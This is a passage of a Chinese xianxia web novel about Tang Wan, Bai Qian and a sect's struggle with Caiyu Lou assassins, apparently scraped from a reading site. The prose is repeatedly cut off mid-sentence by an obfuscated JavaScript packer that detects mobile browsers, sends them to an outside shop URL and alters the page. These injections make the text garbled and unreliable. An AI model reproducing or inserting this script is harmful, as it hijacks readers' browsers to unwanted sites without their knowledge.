翠微阁内,烛火摇曳。白浅沉沉入睡,梦中依旧是那片冰冷的昆仑虚雪。而千里之外,地隐门演武场上,气氛却已降至冰点。白梦秋的目光如两柄实质的利剑,死死钉在唐婉身上。周遭空气仿佛凝固,无形的威压让在场所有弟子都喘不过气,连那几只停在枝头的雀鸟,都瑟缩着不敢发出半点声响。“夺舍?”唐婉心中警铃大作,掌心渗出细密的冷汗。这个词太沉重了。一旦坐实,她将被千刀万剐,魂飞魄散。但她脸上却依旧挂着那抹标志性的、略带疏离的微笑。唐婉手腕轻抖,闪魂剑发出一声清越的嗡鸣,剑尖斜指地面,姿态闲适得仿佛只是在赏花。“掌门大人言重了。”唐婉声音清越,没有丝毫颤抖,“夺舍乃邪魔外道,乃以下犯上。弟子虽资质愚钝,却也知礼义廉耻,岂会行此不义之事?”她一边说着,一边暗暗调动丹田内的“混沌珠”。珠子急速旋转,将那股令人窒息的威压隔绝在体外。“那你倒是说说,”白梦秋向前踏出一步,每一步都仿佛踏在众人的心尖上,“几个月前还是个连站都站不稳的病秧子,如今却能与炼煞三品的弟子战得旗鼓相当?这具身体里,到底藏的是谁的魂?”“奇遇而已。”唐婉坦然迎上她的目光,“弟子那日病重濒死,魂魄出窍,误入一处上古秘境,得九天玄女与七仙女传承。醒来后,便觉脱胎换骨。”这个解释,她在心里排练了无数遍。“九天玄女?七仙女?”白梦秋冷笑一声,显然不信,“这等神话传说,你也敢拿来搪塞本座?”“信与不信,全在掌门。”唐婉收起了笑容,眼神变得冷冽如霜,“但弟子如今确是地隐门之人。掌门若是不信,大可一剑杀了我。只是这般天赋异禀的弟子,死了未免可惜。”这话说得狂妄,却底气十足。白梦秋眯起眼睛。她当然舍不得杀。唐婉如今的资质,确实是地隐门百年来未见的天才。但若她真的是个冒牌货,留着便是定时炸弹。“好一个伶牙俐齿。”白梦秋袖袍一挥,一股更磅礴的煞气冲天而起,将唐婉牢牢锁定,“既然你说得自传承,那便让本座看看,你这‘奇遇’,究竟有多少斤两!”话音未落,白梦秋并未拔剑,只是伸出一根手指,凌空一点。“凝!”天地变色。空气中的水汽瞬间凝结成无数细小的冰棱,如万箭齐发,朝唐婉激射而去!这一指,蕴含了化境段大能的恐怖威压,封锁了唐婉所有的退路。唐婉瞳孔骤缩。躲不开!硬接?以她现在的修为,在化境段面前如蝼蚁撼树!“混沌珠,给我挡住!”唐婉心中狂吼,丹田内的珠子疯狂旋转,一股混沌气流涌向四肢百骸。她没有选择防守,而是将闪魂剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594633|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 横在身前,体内那丝属于“剑心通明”的意境轰然爆发!她没有去挡那漫天冰棱,而是精准地刺向了白梦秋指力的源头那一点最薄弱的气机!“铮!”闪魂剑与无形的指力相撞,发出金铁交鸣般的巨响。唐婉如遭重击,一口鲜血喷出,整个人倒飞出去十几丈,重重撞在演武场的石柱上。但,她接下了这一指!全场死寂。白梦秋眼中的杀意渐渐收敛,取而代之的是浓浓的惊疑。刚才那一剑,根本不是地煞世界的剑法。那是一种超越了境界限制的“道”!“剑心通明”白梦秋喃喃自语。她终于收起了杀意,缓缓走到重伤咳血的唐婉面前,居高临下地看着她。“唐婉。”白梦秋的声音恢复了掌门的威严,“不论你这传承是真是假,从今日起,你便是我地隐门重点栽培的对象。”她顿了顿,语气不容置疑:“但这不代表我信任你。从今日起,你不得离开地隐门百里之内。我会派专人监视你。若让我发现你有半分勾结外敌、危害宗门之举”白梦秋眼中寒光一闪:“我会亲手废掉你的修为,将你扔进万兽窟,永世不得超生。”唐婉擦去嘴角的血迹,艰难地撑起身子,低头行礼:“弟子遵命。”她知道,这一关,暂时过去了。但远在千里之外的巴山夜雨城,那封飞鸽传书,此刻恐怕早已到了白望春的手中。 9. 月夜惊魂剑影寒 地隐门,飞鸽传书至。巴山夜雨城,风暴酝酿。翠微阁内,白浅猛地睁开眼。不是被噩梦惊醒,而是胸口那股噬魂之毒的甜香,与千里之外唐婉那混沌珠的搏动,在同一瞬间达到了顶峰!“唔……”白浅闷哼一声,嘴角溢出一丝黑血。她不知道,就在半个时辰前,巴山夜雨城的城主白望春,正坐在书房中,脸色铁青地看着手中那封密信。信上只有八个字:“病秧子变,天赋异禀。”“好一个唐婉。”白望春冷笑一声,将信纸捏碎,“那个女人留下的种子,果然没让我失望。但这等天赋,到底是福是祸?”她霍然起身,对外喝道:“传令下去,从现在起,没有我的手令,任何人不得接近翠微阁!违令者——死!”风暴,已在巴山夜雨城上空凝聚。然而此刻,城外二十里。白浅对此一无所知。她正面临一场比风暴更直接的杀戮。秦岚的尸体就在眼前,体温尚未散尽。白浅想掩埋,却连锄头都没有;想离开,又怕这具尸体引来不必要的麻烦。“嗖!嗖!”两道破空声由远及近,快得超乎想象!白浅大惊,身形一闪,瞬间隐入一棵巨树之后。劲风扑面,两道人影在月光下一闪而逝。 那是两个女子。第一个紫衣飘飘,气息凌厉如刀;第二个青丝如瀑,身法诡异如魅。“笃行段”白浅心中骇然。这世界的实力划分——初窥、笃行、化境、凌霄。这两个人,随便哪一个,都能一根手指碾死现在的她。“轰!”远处传来惊天动地的巨响。一股无形的气浪如同实质般席卷而来,将白浅硬生生从树后掀飞,狠狠撞在一棵大树上。“噗!”白浅一口鲜血喷出。待她抬头看去,原本茂密的树林已化为平地。只剩下她藏身的这几棵树,诡异地幸存。而秦岚和柳元的尸体,早在余波中化为了齑粉,连一丝布片都没留下。树梢之上,紫衣女子紫嫣单足而立,冷冷地盯着前方。青衣女子梅影身形如鬼魅,在煞气中穿梭。“紫嫣,你敢私闯禁地,就不怕城主责罚?”梅影冷声道。“责罚?待我拿了那件东西,谁敢责罚我?”紫嫣狂笑,煞气凝结成一朵朵妖异的红花,漫天飞舞。每一朵花,都蕴含着毁灭的力量。一旦砸在地上,便是深达数丈的巨坑。白浅蜷缩在树下,感觉自己就像狂风暴雨中的一叶扁舟,随时可能倾覆。“还不快走!”紫嫣似乎终于腾出手来,背对着白浅冷喝一声。那声音不带一丝感情,却蕴含着一丝不易察觉的焦急——她似乎不想让更多人看到这场争斗。白浅不敢迟疑,强忍伤痛,运转丹田内核中那点微薄的煞气,施展“惊鸿掠影”,狼狈不堪地向城内逃去。一口气奔出十余里,她终于力竭,扶着大树喘息。然而,就在这一口气松懈的瞬间“嘶!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594634|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后肩胛猛地一痛,仿佛被毒蛇咬了一口。紧接着,一股奇异的甜香钻入鼻腔,直冲丹田!“噬魂之毒?!”白浅脸色煞白。她能感觉到,这毒极其诡异,只要她动用哪怕一丝煞气,毒性就会加速发作。“小丫头,这毒不错吧?”远处传来梅影空灵却冰冷的声音,“你动用煞气越多,死得就越快。好好享受吧。”白浅咬紧牙关,不敢再动用半分修为。她只能拖着沉重的步伐,一步一步,踉踉跄跄地向着巴山夜雨城挪去。此时的巴山夜雨城,灯火通明。城主白望春,以及身后的鹤之舞、叶轻扬、乐林间、波涟漪、翔云天五大区主,早已站在城头。她们望着城外那片被夷为平地的树林,面色凝重。“那是紫嫣和梅影?”白望春声音冰冷,“她们怎么会在这个时候打起来?”“城主,”叶轻扬指着远处那个跌跌撞撞的身影,“那是浅浅?”白望春瞳孔一缩。她看到白浅步履蹒跚,胸前衣襟已被鲜血染透,且气息紊乱,显然身受重伤。“拦住她!”白望春厉声喝道,“别让她死在城门口!”几道身影飞掠而下。但白浅已经看见了她们,也看见了那座近在咫尺的城门。她心中一松,脚下一软,终于支撑不住,向前栽倒。在彻底失去意识的前一秒,她仿佛听到白望春冰冷的声音在耳边响起:“浅浅,你到底惹上了什么不该惹的东西?” 10. 月隐风吟谜中局 翠微阁内,白浅已陷入深度昏迷,噬魂之毒如附骨之疽,沿着经脉向丹田内核侵蚀。而此刻,巴山夜雨城头,气氛凝重如铁。白望春负手立于城墙之上,目光如电,死死盯着城外那两道鬼魅般的身影。“彩羽楼的人?”白望春声音冰冷,不带一丝温度,“此处乃巴山夜雨城腹地,岂容尔等放肆!”下方密林中,紫嫣与梅影并肩而立。面对巴山城主与五大区主的合围,二人脸上竟无半分惧色。“白城主何必动怒。”紫嫣轻抚衣袖,语气傲慢,“我姐妹二人只是路过贵宝地,寻一件遗失的小物件罢了。”“物件?”鹤之舞手中长鞭一甩,发出清脆的炸响,眼神锐利如鹰,“若是寻常物件,何须两位‘魅级’杀手亲自出马?更何况,那物件还是我巴山夜雨城的弟子?”叶轻扬冷笑接话:“彩羽楼的手,伸得是不是太长了?”听到“魅级”二字,周围众弟子一片哗然。彩羽楼——地煞大陆最神秘的杀手组织。楼中全是女子,以姐妹相称,按实力分魑、魅、魍、魉四等。魑级:初出茅庐,负责谍报。魅级:心狠手辣,以美色与剑术杀人无形,已是江湖中谈之色变的存在。魍级:精英中的精英,只在传说中出现。魉级:更是神话般的存在,据说一剑可断江河。而眼前这两人,竟是魅级!“哼,既然被识破了,那也不必装模作样了。”梅影脸上的伪装卸去,露出一张妖冶绝伦的脸,“白城主,交出那个叫白浅的丫头,我姐妹二人转身便走,绝不伤你巴山一草一木。”“做梦!”乐林间大笑一声,笑声中却透着杀意,“想动我巴山的人,先问问我的斧子答不答应!”“看来,只有用手中的剑来说话了。”波涟漪轻叹一声,手中软剑如灵蛇出洞。“五行阵,起!”翔云天厉声喝道。五大区主瞬间散开,占据金木水火土五方方位。刹那间,灵气涌动,一道五色光幕冲天而起,将紫嫣与梅影死死困在阵中!“区区五行阵,也想困住我彩羽楼的人?”紫嫣厉喝一声,周身煞气暴涨,身后竟浮现出一柄血色长剑的虚影,“血煞剑罡!”梅影亦不再留手,双手结印,无数花瓣般的飞刀环绕周身,寒光闪闪。“杀!”阵法之内,瞬间陷入胶着。五大区主联手,阵法玄妙无穷;紫嫣与梅影身为魅级杀手,手段诡异狠辣,竟一时不分高下。城墙上,白望春并未出手,她死死盯着战局,眉头紧锁。她在想另一件事。“彩羽楼为何会在这个节骨眼上出现?”就在一个时辰前,她刚收到地隐门白梦秋的飞鸽传书。信中只有八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594635|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个字:“病秧子变,天赋异禀。”紧接着,白浅便身受重伤逃回城中,还带回了噬魂之毒。这一切,真的只是巧合吗?还是说,那个一直隐藏在幕后的“女人”,终于要对巴山夜雨城动手了?“不好!”白望春猛地回过神来,看向阵法中心。紫嫣与梅影虽然还在顽抗,但阵法的光芒正在一点点磨灭她们的煞气。眼看就要落败。“想走?没那么容易!”白望春冷哼一声,正欲亲自下场,一举擒杀这两名魅级杀手,以绝后患。然而,就在这一瞬间的分神——“砰!”阵法光幕剧烈震荡,紫嫣拼着硬挨鹤之舞一鞭,强行撕开了一道裂缝!“白望春,今日之战,我们记下了!”紫嫣与梅影对视一眼,身形化作两道流光,瞬间没入夜色之中,消失得无影无踪。“追!”翔云云欲要追赶。“不必了。”白望春抬手制止,脸色阴沉得能滴出水来,“追不上的。彩羽楼的保命手段,天下无双。”她转身看向翠微阁的方向,眼中满是忧虑。“彩羽楼出动魅级杀手,绝不仅仅是为了杀一个白浅。她们的目标恐怕是那封密信,或者是地隐门那个叫唐婉的丫头。”“风暴,终究还是来了。”白望春握紧了拳头,指甲嵌入掌心。她知道,巴山夜雨城,真的要大难临头了。 11. 相见时难别亦难 翠微阁内,烛火昏黄。白浅蜷缩在床榻上,浑身滚烫,却又冷得牙齿打颤。噬魂之毒如附骨之疽,正疯狂啃噬着她的经脉。她试图调动丹田内核的煞气去压制,可那毒素仿佛拥有灵性,煞气越盛,毒性便越是张狂,反噬得她五脏六腑如同撕裂。“不行,不能乱动”白浅咬紧牙关,唇边溢出黑血。她必须保持清醒。一旦昏死过去,在这巴山夜雨城,恐怕就真的再也醒不过来了。与此同时,城主府内。白望春正立于窗前,目光穿透夜色,死死盯着翠微阁的方向。忽然,她鼻翼微动,脸色骤变。“噬魂草的味道?!”她身形一闪,化作一道流光掠过屋顶,眨眼间便踹开了翠微阁的房门。屋内,白浅已面如金纸,气若游丝。白望春两指搭上白浅的脉门,一股精纯的煞气探入,随即脸色铁青。“彩羽楼的噬魂草当真歹毒。”白望春声音冰冷,带着一丝不易察觉的颤抖,“这毒无药可解,唯有以极寒或极阳的内力,强行逼出毒素。可稍有不慎,浅浅的丹田内核便会先行破碎!”她猛地抬头,看向窗外漆黑的夜空。“地隐门白梦秋!”地隐门,掌门静室。白梦秋看着手中那封来自巴山夜雨城的求救信,眉头紧锁,将信纸捏得咯吱作响。“掌门。”阴影中,影子悄无声息地出现,“巴山夜雨城危在旦夕,我们要插手吗?彩羽楼既然敢下此毒手,恐怕早已布下天罗地网。”白梦秋冷笑一声,眼中闪过一丝狡黠与狠厉:“彩羽楼要杀白浅,是要灭口。巴山夜雨城要救人,是求存。这是一场赌局,而我们要做的,是坐庄。”她顿了顿,沉声道:“去,把唐婉和陆青烟叫来。”不多时,两道倩影踏入静室。唐婉一袭青衣,步履轻盈,眸若寒星;陆青烟紧随其后,气质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594636|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清冷,如空谷幽兰。“弟子唐婉、弟子陆青烟,参见掌门。”二人敛衽一礼。白梦秋目光如炬,扫过二人:“巴山夜雨城有难,白浅身中噬魂草剧毒。我需要你们二人前往救治。”唐婉心中一动,那是她跨越千里的“共鸣”之人。“弟子遵命。”“但这不仅仅是救治。”白梦秋站起身,负手而立,“这是地隐门的一次‘交易’。你们去救人,条件是救活白浅后,你们二人必须留在巴山夜雨城,通过他们的考核,习得他们的剑法。”陆青烟秀眉微蹙:“掌门,巴山夜雨城鱼龙混杂,恐有危险。”“危险?”白梦秋冷笑,“唐婉的‘混沌珠’可解万毒,你的‘青莲内核’可愈万物。只要你们二人配合,这天下何处去不得?”她走到唐婉面前,意味深长地说道:“那个白浅,或许就是你一直寻找的,去吧,去验证你的猜想。 12. 雪山城影剑光寒 万寿山,云雾如海。一条蜿蜒山道,若游龙般隐没在云霭深处。马蹄声碎,打破了千年的寂静。地隐门精锐尽出。五十名铁骑,头戴镶有碧绿宝石的银盔,身披墨色披风,面上皆覆以玄铁面具,只露出一双双冰冷如霜的眼眸。她们胯下战马皆是北地龙驹,高大神骏,四蹄踏碎山雾,疾驰如风。队伍中央,唯独三人未戴面具。赵雨菲骑一匹雄健黑马,身姿挺拔如松,长剑斜指,目光锐利地扫视着四周山林。而在她身侧,并辔而行的是唐婉与陆青烟。二人乘坐的并非凡马,而是地隐门精心培育的“风行宝马”。通体雪白,身形矫健,奔跑时四蹄生风,稳如平地,速度快得只余残影。“师妹们,万寿山虽无猛兽,却是通往巴山夜雨城的咽喉要道。”赵雨菲声音清亮,压过了呼啸的山风,“彩羽楼杀手无处不在,大家务必打起十二分精神!”“是,大师姐!”众弟子齐声应诺,声震山林。唐婉轻抚着怀中的闪魂剑,剑鞘冰凉,却压不住她心头那股越来越强烈的悸动。丹田内的“混沌珠”正在发烫。距离巴山夜雨城越近,这种感应就越清晰。那个叫白浅的女人,正在生死线上挣扎,而她的灵魂,在拼命呼唤着自己。“唐婉师妹,”陆青烟策马靠近,声音清冷,却带着一丝不易察觉的关切,“白浅师妹伤势刻不容缓,我们需在日落前翻过此山。”唐婉点头,目光坚定:“放心,只要我唐婉还有一口气,必救她性命。”铁骑如流,在光影交错的林道中穿梭。墨色披风与白色宝马,构成了一幅流动的画卷,肃杀而壮美。行至正午,山道渐缓,万寿山的边界已在眼前。赵雨菲勒住缰绳,停下脚步。她翻身下马,从怀中取出一枚精致的信鸽哨子,郑重地递到唐婉手中。“唐婉,陆青烟。”赵雨菲眼中满是信任与不舍,“过了此界,便不再是我地隐门管辖之地。这哨子乃掌门亲赐,若有不测,即刻放飞信鸽,全门上下,必是你们最强后盾。”唐婉接过哨子,入手冰凉,分量极重。她与陆青烟一同翻身下马,对着赵雨菲及众弟子深深一揖:“多谢师姐一路护送,此恩此情,没齿难忘。”“保重!”赵雨菲红着眼眶,挥手下令,“回程!”铁骑调头,墨色洪流原路返回,很快消失在云雾之中。天地间,只剩下唐婉与陆青烟二人一马。不,是两匹白马,两位佳人。“走吧。”唐婉翻身上马,不再留恋。风行宝马感知主人心意,长嘶一声,四蹄生风,化作一道白色闪电,直射向山道尽头。五日之后。一座巍峨雪山,屹立于天地之间。唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594637|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婉与陆青烟立于雪山之巅,凛冽的寒风刮过脸颊,却吹不熄眼中的灼热。眼前,云海翻腾,一座巨大的城池镶嵌在雪山之巅,若隐若现。巴山夜雨城。青石铺就的街道,古朴典雅的楼阁,以及远处那金碧辉煌、气势恢宏的宫殿群。 夕阳的余晖洒在洁白的雪山上,将整座城池染成了一片瑰丽的金色。“那就是巴山夜雨城。”陆青烟轻喃,眼中满是震撼。唐婉却无暇欣赏这美景。她猛地按住胸口,那里的混沌珠正在疯狂震颤。她能感觉到,那个灵魂,就在山下,在那座城里,在痛苦地燃烧着最后的光。“浅浅”唐婉低声念道,眼中闪过一丝决绝的厉色。“我们走。”两道白影,如流星般划破雪域长空,向着那座既是机遇又是龙潭虎穴的城池,疾驰而去。白望春带着五大区主,早已在城门口伫立多时。当两道青色身影自远而近,如流星般划过长空,稳稳落在众人面前时,一股清冽而磅礴的气息瞬间笼罩全场。唐婉手持闪魂剑,剑尖微颤,寒气逼人。她抬眼,目光越过白望春,直接投向城内翠微阁的方向。那里,有一股虚弱却无比熟悉的灵魂波动,正如同风中残烛,等待着她的到来。“巴山夜雨城。”唐婉嘴角勾起一抹冷冽的弧度,“我来了。” 13. 霜天晓剑映城寒 巴山夜雨城,外城南门。巍峨的城门耸立,守卫弟子眼神锐利如鹰。空气中,似乎还残留着一个月前彩羽楼杀手留下的血腥与阴冷。唐婉与陆青烟勒住缰绳,那两匹风行宝马通体雪白,人立而起,引得周围守卫一阵骚动。“站住!何人擅闯巴山夜雨城?”一名守卫厉声喝道,长剑半出鞘,寒光逼人。唐婉神色淡然,并未下马,只是轻轻抬起下巴,声音清越:“地隐门唐婉、陆青烟,奉掌门之命,前来救治白浅师妹。烦请通传城主白望春。”守卫互视一眼,其中一人迅速跑去通报。不多时,一道蓝色倩影缓步而来。来人正是波涟漪,徵水区主,凌霄段顶级高手。她手中托着一盘精致糕点,香气扑鼻,嘴角噙着一抹似笑非笑的弧度。“地隐门的客人,远道而来,辛苦了。”波涟漪声音柔媚,眼神却如炬,“不过,想要进城,得先过我这一关。”话音未落,她身形微晃。“哗!”一道残影闪过,波涟漪竟以竹箫为剑,瞬间穿透十丈距离,点向唐婉的太阳穴!快!快得让人窒息!唐婉瞳孔骤缩,闪魂剑瞬间出鞘,九天玄女剑意勃发。然而,波涟漪的招式诡异莫测,明明是点向唐婉,却让陆青烟感到了致命的威胁。“七仙女剑诀!”唐婉心念电转,不再防守,双指并拢如剑,竟舍弃防御,直刺波涟漪的手腕!“咦?”波涟漪轻咦一声,身形鬼魅般消失,下一秒出现在陆青烟身后。陆青烟汗毛倒竖,没有回头,反手一记隐水剑法,手臂如剑,向后斩去!“铛!”竹箫与手臂相撞,陆青烟闷哼一声,被震飞数丈,脸色煞白:“我败了。”而唐婉,却在交错的瞬间,借着反震之力,如柳絮般飘落地面,稳如磐石。波涟漪收起竹箫,眼中闪过一丝诧异:“临危不乱,舍身救友,应变极佳。地隐门果然藏龙卧虎。”她转身,笑容温婉了许多:“好了,玩笑开完了。城主姐姐早已等候多时,二位师侄,请随我来。”波涟漪引着二人,来到城门旁一处清幽竹亭。石桌上,不知何时已摆好了茶具与点心。“坐。”波涟漪优雅入座,轻启茶盖,“此乃巴山特产‘云雾雪芽’,尝尝。”唐婉与陆青烟依言落座。茶汤清亮,如碧泉涌动。唐婉轻啜一口,茶香盈齿,却不敢有丝毫放松,目光始终不离波涟漪。“二位不必紧张。”波涟漪拈起一块桃花酥,笑道,“彩羽楼虎视眈眈,我只 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是想看看,地隐门的弟子,是否有保护白浅的实力。”正说话间,一股磅礴如海潮的气息从城内席卷而来!那气息看似柔弱似水,实则凶猛澎湃,让人立足不稳。一道华贵身影,在数名侍女的簇拥下,缓步而来。白望春她看起来不过三十许,风华绝代,气场却压得人喘不过气。唐婉心中骇然:“凌霄段巅峰?甚至半步化境?这女人,比地隐门掌门白梦秋还要可怕!”当白望春的目光落在唐婉脸上时,那冰冷的眸子瞬间融化,涌出一丝激动与期盼。“你们终于来了。”白望春快步上前,声音带着不易察觉的颤抖,“我是白望春,也是你们的师姑。”唐婉与陆青烟连忙起身行礼:“见过城主师姑。”“好,好!”白望春扶起二人,目光在唐婉身上停留良久,“果然英雄出少年。跟我来,浅浅等不及了。”一行人不再耽搁,匆匆赶往翠微阁。推开房门的刹那,一股腐朽与死亡的气息扑面而来。床榻上,白浅面如金纸,气息微弱,仿佛随时会熄灭的残灯。唐婉的心脏猛地抽搐了一下。丹田内的混沌珠,在此刻发出了前所未有的灼热与共鸣。“浅浅……”唐婉低声呢喃,快步上前。 14. 心有灵犀一点通 夜色如墨,翠微阁内烛火摇曳。白浅静卧榻上,一头湿漉漉的乌发披散在肩头,散发着一股淡淡的、非脂粉的体香。这香气清冽,此刻却像是无声的催命符。唐婉与陆青烟盘膝坐在床沿,三人呈三角之势。“开始吧。”唐婉深吸一口气,伸出双手。左手握住陆青烟的掌心,右手搭上白浅的劳宫穴。肌肤相触的刹那,白浅的身体明显颤了颤。一股奇异的能量波动,在三人之间形成闭环。唐婉闭上眼,心神沉入白浅体内。她看到的是一副令人心惊的景象——白浅的丹田内核,本该如一颗璀璨星辰,此刻却被一团浓稠如墨的“黑雾”死死包裹。那黑雾中,似有灵物在冲撞,正是噬魂草之毒。“陆师姐,按计划行事。”唐婉传音道,“我将毒素引至掌心,你用‘碧空草’内核温养白师姐的经脉。”“好。”陆青烟应声,丹田内核催动。刹那间,一股温暖如春的绿色光芒自她掌心涌出,顺着白浅的右臂流淌。那是来自云层之上的圣药气息,所过之处,撕裂的经脉迅速愈合。然而,唐婉要做的是最凶险的移花接木。她将自己的“混沌珠”之力化作一张细密的大网,强行渗入那团黑雾,试图扯出一部分毒素。“唔”白浅闷哼一声,即使在昏迷中也痛得蜷缩。“忍住!”唐婉低喝,猛地一扯!一缕漆黑的毒气,如活物般顺着三人的连接,被硬生生从白浅体内抽出,瞬间钻入了唐婉的右臂经脉!“唐婉!”陆青烟心中大惊,想要切断连接。“别动!”唐婉咬牙,额头上豆大的汗珠滚落,“这点毒素,伤不了我。”果然,那噬魂之毒在唐婉的经脉中左冲右突,却始终无法撼动丹田内那颗“混沌珠”分毫。反而像是泥牛入海,被那颗珠子贪婪地吞噬、炼化。“这就是双心共鸣?”白浅虚弱的声音在三人脑海中响起。她醒了,虽然双眼紧闭,但神魂却清晰地感知到了外界。唐婉心中一荡。这种感觉太奇妙了,三人的心神在一种极其暧昧又神圣的空间里交融。“白师姐,别分心。”唐婉强压下心头那股莫名的躁动,“我在抽离毒素,你试着引导陆师姐的生机之力,修补丹田。”“嗯”白浅应了一声,脸颊微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晨光未露,翠微阁内烛火将熄。唐婉收回搭在白浅腕间的手指,指尖尚残留着对方肌肤温热细腻的触感,一如上好的羊脂白玉,滑不留手。她心头莫名一颤,恰在此时,抬眼望去,正撞上白浅那双刚刚苏醒的眸子。那双眼眸,清澈如水,带着大病初愈的虚弱,却在触及唐婉目光的瞬间,漾起层层涟漪。时间仿佛在这一刻静止。陆青烟站在一旁,将这一切尽收眼底。她看着唐婉微微泛红的脸颊,看着白浅羞涩躲闪的眼神,心中既感到一丝异样的悸动,又涌起一股想要保护这脆弱美好的冲动。四目相对,唐婉与白浅像是被滚烫的针尖刺中,同时低下了头。两朵红云,自白浅苍白的脸颊缓缓升起,宛如夕阳余晖下的桃花,娇艳欲滴。唐婉只觉掌心湿润黏腻,那是方才紧握时留下的汗水,此刻松开,竟有种怅然若失的空落。“唐婉,你的皮肤真好。”陆青烟适时地开口,声音如清泉流淌,打破了这令人窒息的静谧。她走上前,自然地牵起唐婉的手,指尖轻轻摩挲着对方的手背,语气中带着由衷的欣赏:“又白又嫩,像是能掐出水来。”唐婉脸颊上的红晕更盛,她不好意思地抽回手,笑道:“陆师姐莫要取笑,你的身材才是极好,腰身纤细,曲线玲珑,真叫人羡慕。”“还有白浅师姐。”陆青烟的目光转向床榻上的女子,眼中满是温柔的赞美,“你的气质独特,清新脱俗,宛如仙子下凡。这腰身,真是细得让人心疼。”白浅闻言,头埋得更低了,双手紧紧绞着被角,指尖因为用力而泛白。唐婉深吸一口气,重新坐回床沿。她伸出手,这次不再是紧握,而是带着一种医者的庄重与安抚,轻轻覆在白浅的肩头,感受着布料下单薄的身体传来的温热。“师姐,莫要紧张。”唐婉的声音柔和下来,仿佛在哄慰一个受惊的孩子,“在这胸口与腰腹之处,我方才探查到几处郁结的毒气。虽已无大碍,但残留的痛楚恐怕还在折磨着你。” 她的指尖带着一丝暖意,隔着衣衫轻轻按压:“凭我这点微末的医术,加上青烟师姐的灵力,定能护得师姐周全,让你免受病痛之苦。”白浅的身体微微颤抖,那是一种混合着羞赧、依赖与恐惧的颤动。“唐师姐”她声音细若蚊蚋,“你的手艺真好,每次触碰,都能缓解我的痛苦。青烟师姐,你的温柔与坚韧,也总是让我心生安定。”“放开我”白浅突然低吟一声,身体向后缩了缩,那是极度紧张下的本能抗拒。唐婉讪讪地收回手,心中虽有万般无奈,却也知这般亲密的接触对未经人事的女子来说是何等煎熬。“师姐莫怪,”唐婉苦笑道,“我这实力有限,一晚上能转移的毒素也就这么多。若是贪多,恐怕连我也撑不住。”陆青烟看着这一幕,心中涌起一股怜惜。她走上前,轻轻拍了拍白浅紧绷的肩膀,柔声道:“二位师姐都是这世间独一无二的好。白师姐清冷高贵,唐师姐果敢坚韧,都是我敬重的人。”白浅抬起头,眼中水光潋滟,交织着感激与羞涩。她猛地咬紧下唇,将那抹殷红咬得发白,仿佛下了极大的决心,突然掀开被子,光着脚丫,像一只受惊的兔子般“咚咚咚”跑出了房间。“白师姐!”陆青烟惊呼一声,连忙追了出去。屋内重归寂静。唐婉独自坐在床边,望着那扇还在晃动的房门,心中五味杂陈。那股刚刚建立起来的、微妙而紧密的羁绊,似乎随着白浅的逃离,又断裂了一截。她深深吸了一口气,压下心中那股莫名的失落,告诫自己:“身正何惧影斜,我乃清白之人!”她站起身,从怀中取出那只早已备好的白玉瓷瓶。盘膝坐回榻上,唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 